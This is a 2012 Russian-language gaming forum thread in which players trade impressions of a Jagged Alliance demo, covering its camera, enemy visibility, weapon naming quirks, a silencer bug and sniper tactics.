что правда, что-ли? все скачаю сегодня демку, хоть поржать чтоль

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Krot на 06.02.2012 в 23:09:10
Ощущения от демки смешанные. То есть не так плохо, как могло быть, но есть вещи которые сильно мешают играть:

Камера - нельзя отдалить нормально - экран большой, разрешение 1920x1080 а ощущение что опять как в JA играешь 640x480 - обзор поля боя очень ограниченный. Вся надежда на моды...

Враги - не понятно, когда они тебя видят, а когда нет. Какое у них поле зрения вообще? В оригинальной JA сигналом, что враги тебя засекли, был переход в пошаговый режим собственно.

Из эстетического - портреты наемников... ну вы сами их уже видели...

В целом же графика и дизайн локаций вполне приличные. AI - не тупее, чем в оригинальной JA2.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 06.02.2012 в 23:39:27

on 1328558950, Krot wrote:
не тупее, чем в оригинальной JA2

но в оригинале (подшаманено в NO и 1.13) были страшные затупки - так что ответ очевиден, каков AI и тут  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 06.02.2012 в 23:44:53
почитал...
..смотрю, уж почти все скачали и пощупали..
пожалуй, и я сегодня гляну эту "Diablo: back in action"
по отзывам понял, что класс некромантов там есть - мёртвых оживляют,
а вот Друиды есть, не подскажите? - хочу жуков и котоубийц за себя призывать!  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 06.02.2012 в 23:55:44

on 1328561093, KombaT wrote:
..смотрю, уж почти все скачали и пощупали..  
- я не скачивал. Ужду оригинал. Вдруг, чегой-то у них и получится.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 00:00:36
2Green Eyes: Кажется, да. Эта пушка еще в НО есть. Этакая усредненная модель между акм и свд.
так и не смог демку пройти. зачищаю блокпост, потом пытаюсь штурмовать базу, враги задавливают числом. Нашел баг. На ауг нельзя поставить  глушак, но если сначала поставить его на пистолет, убрать его, на его место поставить ауг, глушак так и останется в слоте.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 07.02.2012 в 00:02:47
2bugmonster: И еще не Glock, а Klock и т.д. Есть подозрение, что авторы избегают возможных претензий со стороны производителей. Как это, например, сделали Valve в своем Counter-Strike: АК-47 там назван KV-47  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 00:06:19
2Xoxo_JI:  CV-47 ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 07.02.2012 в 00:06:51

on 1328562036, Kestrel wrote:
Эта пушка еще в НО есть

ты наверное имеешь ввиду Tabuk - иракскую СВ на базе АК
так не ней же не написано "дрУганов"
может ещё пистолет "ТБ" - тульских братанов  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 07.02.2012 в 00:07:41

on 1328562167, Xoxo_JI wrote:
Есть подозрение, что авторы избегают возможных претензий

скорее всего да - поленились на добро взять и теперь лепят как в контре было

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 00:08:03
2KombaT: Не помню, как называется. В описании было написанно что ее юзают киллеры.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 07.02.2012 в 00:11:52

on 1328558950, Krot wrote:
Враги - не понятно, когда они тебя видят, а когда нет.
Вылезает сверху-справа сообщение, начался бой, тебя засекли и т.п.

on 1328562036, Kestrel wrote:
так и не смог демку пройти
А что в ней собственно надо делать? Убил всех, а игра не кончается, жители бесполезные. Один продаёт лекарства, н это не нужно.
Враги тупее всех тупых. Используйте Рысь с СВД для зачистки открытых пространств, а Мага в доме, Дэнни штатный некромант (или он священник - я как-то не совсем определился), а Фидель не нужен вообще.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 07.02.2012 в 00:18:37

on 1328562379, Kestrel wrote:
CV-47
точно  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 00:22:48
2Lion: фиделю я отдал штурмовую винтовку. Снайпер пусть с одной свд ходит.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 07.02.2012 в 00:38:12
2Kestrel & КомбаT: Эхх.  ::)
WUM1
Этот румынский гибрид АК и СВД предназначен для быстрого поражения нескольких целей на коротких дистанциях. Излюбленное оружие многих киллеров.

Tabuk
Иракская снайперская винтовка, созданная  на основе советского автомата АК-47. Конструктивно сходна с югославской М76, но под патрон 7.62х39мм.

;D  ;D
На пушку из BIA первая вообще не похожа.  8)


on 1328563368, Kestrel wrote:
фиделю я отдал штурмовую винтовку
Зачем? Двух человек более чем достаточно, можно было, наверное и одним.  ;)

ЗЫ А винтовка в английском варианте Druganoff, хотя на самом деле это Dragunov  (Википедия) (http://en.wikipedia.org/wiki/Dragunov_sniper_rifle), по немецки Dragunow
Вот что бывает после кривых переводов туда, сюда, обратно.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 07.02.2012 в 01:22:02
http://s018.radikal.ru/i528/1202/4c/0f80ac5e7fff.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 02:02:51
2RadicalRex: Есть ссылка на страницу с демотиватора? Хочется посмотреть на комменты. Иди это только для нашего форума?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем desants на 07.02.2012 в 07:20:47
Не совсем в тему, но куда не знаю ;)
Сегодня читал рассказ Дивова, что-то вроде "русская музыка америки", так он там Долвичей поминал, которые иногда пропадали и возвращались загорелые. Это про ДЖА или я что-то не понимаю?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 07.02.2012 в 08:01:55

on 1328569371, Kestrel wrote:
Есть ссылка на страницу с демотиватора?
Я на ag.ru тот демотиватор нашёл.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Airbus на 07.02.2012 в 08:17:06

on 1328562379, Kestrel wrote:
CV-47
Верите-нет, с момента появления у меня CS (а было это очень давно) гадал, откуда такое название. Остановился на чем-то вроде "Calashnikov's Vintovka". ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Romm70 на 07.02.2012 в 09:08:56

on 1328562036, Kestrel wrote:
так и не смог демку пройти. зачищаю блокпост, потом пытаюсь штурмовать базу, враги задавливают числом. Нашел баг. На ауг нельзя поставить  глушак, но если сначала поставить его на пистолет, убрать его, на его место поставить ауг, глушак так и останется в слоте.

Мне понравилось, что пройти можно как минимум двумя способами: в лоб, начиная со штурма блокпоста, с гранатами и т.д. А можно сразу уползти вниз по карте, а потом подниматься вверх к лаборатории, то есть зачищать по часовой стрелке... и к начальному блокпосту выйти в самом конце.

Глушак в слоте остается, но на ствол не навинчивается, и в руках АУГ  (и прочее не заглушаемое оружие) неизменна. А на пистолет навинчивается (идет звук), и это сразу отображается на пистолете в руке.

По настоящему продолжает бесить лишь то, что все фраги видны изначально. Элемента неожиданности нет, случайно на патруль не напорешься, адреналина меньше - ползешь и отстреливаешь, как в тире. Ну почему в 99 году можно было сделать поле зрения (дальность видимости) у наемников, а спустя 13 лет вдруг забыли это великое шаманство?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем desants на 07.02.2012 в 17:04:24
Насчет воскрешения. После него фидель у меня стал форменным зомби и Денни с дольшим медикитом не справился.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 07.02.2012 в 19:59:06

on 1328594936, Romm70 wrote:
Ну почему в 99 году можно было сделать поле зрения (дальность видимости) у наемников, а спустя 13 лет вдруг забыли это великое шаманство?
Возможно, в полной версии туман войны будет. Ведь в настройках игры есть пункт, поставить на паузу, если обнаружен новый враг.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 07.02.2012 в 21:57:39
2Kestrel: Обнаружение и сейчас вроде есть, когда становится нельзя сохраняться.  ::)

on 1328594936, Romm70 wrote:
и к начальному блокпосту
Это тот что у шоссе? люди с него могут прибежать в контратаку на ключевой пункт, чтоб этого не было надо важные позиции не спешить захватывать, а наматывать снайпером круги вокруг врагов.
Перебил всех одним Рысью.  8)
2desants: Ну не повезло, надо было воскрешать быстрее или шприцом, он вроде работает точнее, это я лоханулся - у меня Дэнни под шальную пулю сунулся, его потом Рысь откачвал.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Krot на 07.02.2012 в 23:21:31

on 1328633946, Kestrel wrote:
Возможно, в полной версии туман войны будет. Ведь в настройках игры есть пункт, поставить на паузу, если обнаружен новый враг.


В полной релизной версии точно не будет. Туман войны был в игре, но разработчики его специально отрезали еще летом, решив, что с ним получается слишком сумбурный\сложный геймплей (типа наемников внезапно убивают враги, которых даже не видно) - они долго на этот счет на своем форуме распинались, поскольку темы про туман войны там возникали с завидной регулярностью.

Сейчас в ответ на жалобы тру хардкорщиков на форуме они пишут, что может быть (может быть, но не факт) вернут туман в игру как отдельно включаемую опцию отдельным патчом когда-нибудь после релиза.  

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 08.02.2012 в 06:49:20

on 1328646091, Krot wrote:
сложный геймплей  

Да, скоро в компьютерные игры смогут играть орангутанги.  :(
Запилюка я новый раздел.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 08.02.2012 в 08:11:28

on 1328672960, Zed wrote:
Да, скоро в компьютерные игры смогут играть орангутанги.
Дык, во всю уже играют (http://www.youtube.com/watch?v=8gtdqJLONIQ).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Romm70 на 08.02.2012 в 08:27:16

on 1328672960, Zed wrote:
Запилюка я новый раздел.

Так запилите же! Послезавтра выходит, надо же ж обсуждать, ругать и хвастаться ;D
Орангутанги?... Хотите сказать, что в JA3 все настолько примитивно, что это почти тетрис? Не знаю, мне понравилось... тем более на почти полное современное безрыбье.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 08.02.2012 в 08:32:59
2Lion: Не понимаю, как ты так просто все прошел. Даже если тупо снайперить, враги в большом кол-ве идут на сближение, давят числом. При условии, что мерк может слечь от 1-2х очередей, а аптечек мало,  это довольно опасно.
да еще и мерки переодически туппят, выполняя приказы.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 08.02.2012 в 08:47:44

on 1328672960, Zed wrote:
Запилюка я новый раздел.
А оно того заслуживает?
2Kestrel: Надо выбрать правильную позицию, чтоб не было прямого подхода (например за забором), лечь, выстрелить в голову тому из врагов, которого не видно напрямую, пробел, прицеливаемся (после первого выстрела враги некоторое время не двигаются) потом отстреливаем набегающих по головам. Это как тетрис.  ;)
Хочешь я завтра выложу скриншот, на котором у Рыси 30+ убитых врагов?
Проблемы только в доме, где всё близко, но враги из него почти все выходят.

on 1328679179, Kestrel wrote:
да еще и мерки переодически туппят, выполняя приказы.  
Надо давать хорошие приказы и следить за выполнением.
ЗЫ В слове "тупят" одна "п".  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 08.02.2012 в 09:03:27
2Kestrel: Специально для тебя перегрузил комп.
Вот:
[offtop][attach][/offtop]
У Рыси 35 убитых, ещё 2 (и 91 урона) у Мага, остальные не сделали ни одного выстрела.

Quote:
Jagged Alliance 3 и другие приключения Шурика
:rzhach: :rzhach: :rzhach: :rzhach: :rzhach: :rzhach:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 08.02.2012 в 09:11:53
Тема оставлена для потомков. Плодитесь и размножайтесь В смысле создавайте новые, более узконаправленные.



A.I.M. » Powered by YaBB Modification 4 (v.4.0.0-pre)!
YaBB © 2000-2003. All Rights Reserved.